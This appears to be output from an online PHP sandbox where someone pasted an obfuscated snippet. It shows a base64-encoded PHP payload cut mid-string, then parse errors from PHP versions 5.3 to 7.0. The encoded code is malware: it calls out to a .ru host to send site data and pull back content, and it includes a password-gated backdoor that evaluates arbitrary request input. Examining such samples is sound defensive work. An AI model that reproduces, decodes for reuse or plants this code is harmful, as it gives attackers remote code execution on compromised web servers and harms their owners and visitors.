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ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwokaWJ2ID0gJHJlc3VsdDsKfSBlbHNlIHsKJGZwID0gZnNvY2tvcGVuKCJkZm9pcXdlb214YS5ydSIsIDgwLCAkZXJybm8sICRlcnJzdHIsIDMwKTsKaWYgKCRmcCkgewogICAgJG91dCA9ICJHRVQgL2dldC5waHA/ZD0iLnVybGVuY29kZSgkZCkuIiZ1PSIudXJsZW5jb2RlKCR1KS4iJmM9Ii4kYy4iJmk9MSZoPSIubWQ1KCJjM2ZhZDcxMzBiNmM2MzFlMWMxY2E5NjBjMzI0ZWQ5OSIuJGQuJHUuJGMuIjEiKS4iIEhUVFAvMS4xXHJcbiI7CiAgICAkb3V0IC49ICJIb3N0OiBkZm9pcXdlb214YS5ydVxyXG4iOwogICAgJG91dCAuPSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7CiAgICBmd3JpdGUoJGZwLCAkb3V0KTsKICAgICRyZXNwID0gIiI7CiAgICB3aGlsZSAoIWZlb2YoJGZwKSkgewogICAgICAgICRyZXNwIC49IGZnZXRzKCRmcCwgMTI4KTsKICAgIH0KICAgIGZjbG9zZSgkZnApOwogICAgbGlzdCgkaGVhZGVyLCAkYm9keSkgPSBwcmVnX3NwbGl0KCIvXFJcUi8iLCAkcmVzcCwgMik7CiAgICAkaWJ2ID0gJGJvZHk7Cn0KfQp9OwppZihpc3NldCgkX1JFUVVFU1RbInAiXSkgJiYgJF9SRVFVRVNUWyJwIl0gPT0gIjQyMDM0YTBkIikgeyBldmFsKHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbImMiXSkpOyB9CmVjaG8gJGlidjt9&quot;);
Output for 7.0.0 - 7.0.2
Parse error: syntax error, unexpected '&' in /in/BMYT1 on line 3
Process exited with code 255.
Output for 5.5.24 - 5.6.17
Parse error: syntax error, unexpected ';', expecting '(' in /in/BMYT1 on line 3
Process exited with code 255.
Output for 5.4.12 - 5.4.45
Parse error: syntax error, unexpected ';', expecting :: (T_PAAMAYIM_NEKUDOTAYIM) in /in/BMYT1 on line 3
Process exited with code 255.
Output for 5.3.22 - 5.3.29
Parse error: syntax error, unexpected ';', expecting T_PAAMAYIM_NEKUDOTAYIM in /in/BMYT1 on line 3
Process exited with code 255.